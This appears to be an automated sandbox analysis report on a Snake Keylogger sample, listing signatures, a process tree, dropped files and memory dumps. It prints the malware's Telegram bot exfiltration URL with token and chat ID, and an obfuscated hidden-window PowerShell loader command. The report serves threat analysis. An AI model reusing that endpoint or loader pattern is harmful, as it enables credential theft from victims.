Analysis
- max time kernel
93s - max time network
137s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
15/11/2024, 11:44
General
- Target 2.exe
- Size 682KB
- Sample241115-nwdfqasphy
- SHA256 134be2720dc277e7be61620837bfd47e02892d9641294cbe4457d7bae4510a19
Malware Config
Extracted
-
snakekeylogger
-
https://api.telegram.org/bot7610532139:AAFiI3HHwFD6pWziyPu3lWJbRKPQtz0nD2c/sendMessage?chat_id=6680692809
Signatures
- Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
- Snake Keylogger payload 1 IoCs
- Snakekeylogger family
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Blocklisted process makes network request 1 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Drops file in Windows directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2.exe"C:\Users\Admin\AppData\Local\Temp\2.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Binomialfordelt=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Chromonemal.Opg';$Archibuteo=$Binomialfordelt.SubString(54418,3);.$Archibuteo($Binomialfordelt)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4920 -s 15284⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4920 -ip 49201⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
Chromonemal.Opg
Stikprvestandardafvigelsens.Lgn
__PSScriptPolicyTest_o1iu3b1i.1g0.ps1
memory/2796-43-0x0000000007740000-0x000000000775E000-memory.dmp
memory/2796-45-0x0000000007770000-0x0000000007813000-memory.dmp
memory/2796-12-0x0000000005C80000-0x0000000005CE6000-memory.dmp
memory/2796-11-0x0000000005C10000-0x0000000005C76000-memory.dmp
memory/2796-8-0x0000000073A00000-0x00000000741B0000-memory.dmp
memory/2796-22-0x0000000005CF0000-0x0000000006044000-memory.dmp
memory/2796-23-0x00000000062C0000-0x00000000062DE000-memory.dmp
memory/2796-24-0x0000000006300000-0x000000000634C000-memory.dmp
memory/2796-25-0x0000000007280000-0x0000000007316000-memory.dmp
memory/2796-46-0x0000000073A00000-0x00000000741B0000-memory.dmp
memory/2796-27-0x0000000006820000-0x0000000006842000-memory.dmp
memory/2796-28-0x0000000007920000-0x0000000007EC4000-memory.dmp
memory/2796-9-0x00000000053B0000-0x00000000059D8000-memory.dmp
memory/2796-30-0x0000000008550000-0x0000000008BCA000-memory.dmp
memory/2796-33-0x0000000070440000-0x0000000070794000-memory.dmp
memory/2796-32-0x000000006FE90000-0x000000006FEDC000-memory.dmp
memory/2796-31-0x0000000007700000-0x0000000007732000-memory.dmp
memory/2796-6-0x0000000073A0E000-0x0000000073A0F000-memory.dmp
memory/2796-10-0x0000000005310000-0x0000000005332000-memory.dmp
memory/2796-44-0x0000000073A00000-0x00000000741B0000-memory.dmp
memory/2796-26-0x00000000067B0000-0x00000000067CA000-memory.dmp
memory/2796-47-0x0000000007870000-0x000000000787A000-memory.dmp
memory/2796-48-0x00000000078B0000-0x00000000078DA000-memory.dmp
memory/2796-50-0x0000000073A00000-0x00000000741B0000-memory.dmp
memory/2796-49-0x00000000078E0000-0x0000000007904000-memory.dmp
memory/2796-51-0x0000000073A00000-0x00000000741B0000-memory.dmp
memory/2796-53-0x0000000073A0E000-0x0000000073A0F000-memory.dmp
memory/2796-54-0x0000000073A00000-0x00000000741B0000-memory.dmp
memory/2796-55-0x0000000073A00000-0x00000000741B0000-memory.dmp
memory/2796-7-0x0000000004D40000-0x0000000004D76000-memory.dmp
memory/2796-57-0x0000000073A00000-0x00000000741B0000-memory.dmp
memory/2796-58-0x0000000073A00000-0x00000000741B0000-memory.dmp
memory/2796-59-0x0000000008BD0000-0x000000000D6DE000-memory.dmp
memory/2796-60-0x0000000073A00000-0x00000000741B0000-memory.dmp
memory/2796-61-0x0000000073A00000-0x00000000741B0000-memory.dmp
memory/2796-62-0x0000000073A00000-0x00000000741B0000-memory.dmp
memory/2796-64-0x0000000073A00000-0x00000000741B0000-memory.dmp
memory/4920-65-0x0000000000C00000-0x0000000001E54000-memory.dmp